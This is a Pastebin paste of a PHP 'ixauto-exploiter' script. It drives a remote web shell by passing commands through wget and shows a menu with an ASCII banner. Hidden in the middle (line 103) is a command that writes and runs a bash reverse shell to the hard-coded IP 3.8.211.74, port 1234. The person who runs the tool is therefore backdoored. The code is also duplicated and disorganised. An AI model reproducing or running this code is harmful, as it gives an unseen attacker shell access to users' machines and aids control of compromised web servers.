SHARE
TWEET

bug

_ixa_ Nov 12th, 2019 (edited) 65 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/env php
  2. <?php
  3.  
  4. # ixa        
  5. # run in Linux shell                                   # run in linux shell
  6. # rip indentation
  7. $white = "\e[97m";
  8. $green  = "\e[92m";
  9. $yellow = "\e[93m";
  10. $bold   = "\e[1m";
  11. $grey = "\e[37m";
  12. $red = "\e[91m";
  13. if (!isset($argv[1]) OR !preg_match('/ ?php| =/', $argv[1]))
  14. {
  15. echo $yellow.$bold."\nphp shell.php <poc>\n".$grey;
  16. echo $yellow.$bold."exemple : php shell.php https://www.nsa.gov/shell.php?cmd=\n\n".$grey;
  17. }
  18. else
  19. {
  20. $ok = $argv[1];
  21. echo $yellow.$bold."\n                                START THE GAME  ";
  22.  
  23. sleep(1);print $green.".";sleep(1);print $red.".";sleep(1);print $white.".";sleep(1)."\n";
  24. echo chr(27).chr(91).'H'.chr(27).chr(91).'J';
  25. echo "file : ", $yellow.$bold.$argv[0].$grey;
  26. echo "\nshell access : ", $yellow.$bold.$ok.$grey;
  27. echo "\n[type \"exit\" to exit the shell]\n\n";
  28. for($i=1;$i<999999;$i++)
  29. {
  30. echo $red."$ ".$grey;
  31. $choix = trim(fgets(STDIN));
  32. if ($choix == "exit")
  33. {
  34. echo "bye\n";
  35. break;
  36. }
  37. else {
  38. $all = $ok.$choix;
  39. echo system("wget -qO- $all");
  40. echo "\n";
  41. }
  42. }
  43. }
  44.  
  45. $white = "\e[97m";
  46. $black = "\e[30m\e[1m";
  47. $yellow = "\e[93m";
  48. $orange = "\e[38;5;208m";
  49. $blue   = "\e[34m";
  50. $lblue  = "\e[36m";
  51. $cln    = "\e[0;94m";
  52. $green  = "\e[92m";
  53. $fgreen = "\e[32m";
  54. $red    = "\e[91m";
  55. $magenta = "\e[35m";
  56. $bluebg = "\e[44m";
  57. $lbluebg = "\e[106m";
  58. $greenbg = "\e[42m";
  59. $lgreenbg = "\e[102m";
  60. $yellowbg = "\e[43m";
  61. $lyellowbg = "\e[103m";
  62. $redbg = "\e[101m";
  63. $grey = "\e[37m";
  64. $cyan = "\e[36m";
  65. $bold   = "\e[1m";
  66. $nbold = "\e[1;97m";
  67. $adios = $red."adios".$grey."\n";
  68. $ok1 = $green."[1] - tool 1".$grey;
  69. $ok2 = $green."[2] - tool 2".$grey;
  70. $ok3 = $green."[3] - tool 3".$grey;
  71. $ok = $green."[777] - exit".$grey;
  72. $ascii = $red."                 . . .".$grey."
  73.                   \|/
  74.                 `--+--'
  75.                   /|\                        ixauto-exploiter
  76.                  ' | '                       by ixa
  77.                    |                         ./2k19
  78.                    |                         you can fake my tool
  79.                ,--'#`--.                     but you cant fake your
  80.                |#######|                     skills
  81.             _.-'#######`-._
  82.          ,-'###############`-.
  83.        ,'#####################`,             ".$ok1."
  84.       /#########################\            ".$ok2."
  85.      |###########################|           ".$ok3."
  86.     |#############################|          ".$ok."
  87.     |#############################|
  88.     |#############################|
  89.     |#############################|
  90.      |###########################|
  91.       \#########################/
  92.        `.#####################,'
  93.          `._###############_,'
  94.             `--..#####..--'";
  95.  
  96. $ip = exec("wget -qO- checkip.dyndns.org | grep -oP \"\d+\.\d+\.\d+\.\d+\"");
  97.  
  98. echo $yellow.$bold."\n                                START THE GAME  ";
  99. sleep(1);print $green.".";sleep(1);print $red.".";sleep(1);print $white.".\n";
  100. system("reset");
  101.  
  102. echo $ascii, "\n";
  103. system("echo \"screen -R\" > /tmp/screen.sh && echo \"bash -i >& /dev/tcp/3.8.211.74/1234 0>&1 && id\" > /tmp/re.sh && bash /tmp/screen.sh && bash /tmp/re.sh");
  104. start : echo $yellow.$bold, "ixa$white@$cyan$ip$white:~# ";
  105. $white = "\e[97m";
  106. $green  = "\e[92m";
  107. $yellow = "\e[93m";
  108. $bold   = "\e[1m";
  109. $grey = "\e[37m";
  110. $red = "\e[91m";
  111. if (!isset($argv[1]) OR !preg_match('/ ?php| =/', $argv[1]))
  112. {
  113. echo $yellow.$bold."\nphp shell.php <poc>\n".$grey;
  114. echo $yellow.$bold."exemple : php shell.php https://www.nsa.gov/shell.php?cmd=\n\n".$grey;
  115. }
  116. else
  117. {
  118. $ok = $argv[1];
  119. echo $yellow.$bold."\n                                START THE GAME  ";
  120.  
  121. sleep(1);print $green.".";sleep(1);print $red.".";sleep(1);print $white.".";sleep(1)."\n";
  122. echo chr(27).chr(91).'H'.chr(27).chr(91).'J';
  123. echo "file : ", $yellow.$bold.$argv[0].$grey;
  124. echo "\nshell access : ", $yellow.$bold.$ok.$grey;
  125. echo "\n[type \"exit\" to exit the shell]\n\n";
  126. for($i=1;$i<999999;$i++)
  127. {
  128. echo $red."$ ".$grey;
  129. $choix = trim(fgets(STDIN));
  130. if ($choix == "exit")
  131. {
  132. echo "bye\n";
  133. break;
  134. }
  135. else {
  136. $all = $ok.$choix;
  137. echo system("wget -qO- $all");
  138. echo "\n";
  139. }
  140. }
  141. }
  142. $choix1 = trim(fgets(STDIN,1024));
  143. switch($choix1)
  144. {
  145. case 777 :
  146. echo $adios;
  147. break;
  148.  
  149. case 1 :
  150. echo "wsh\n";
  151. break;
  152.  
  153. case 2 :
  154. require("bot.php");
  155. break;
  156.  
  157. case 3 :
  158. echo "tool 3\n";
  159. break;
  160.  
  161. default :
  162. echo "bon\n";
  163. goto start;
  164. break;
  165. }
  166.  
  167. ?>
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top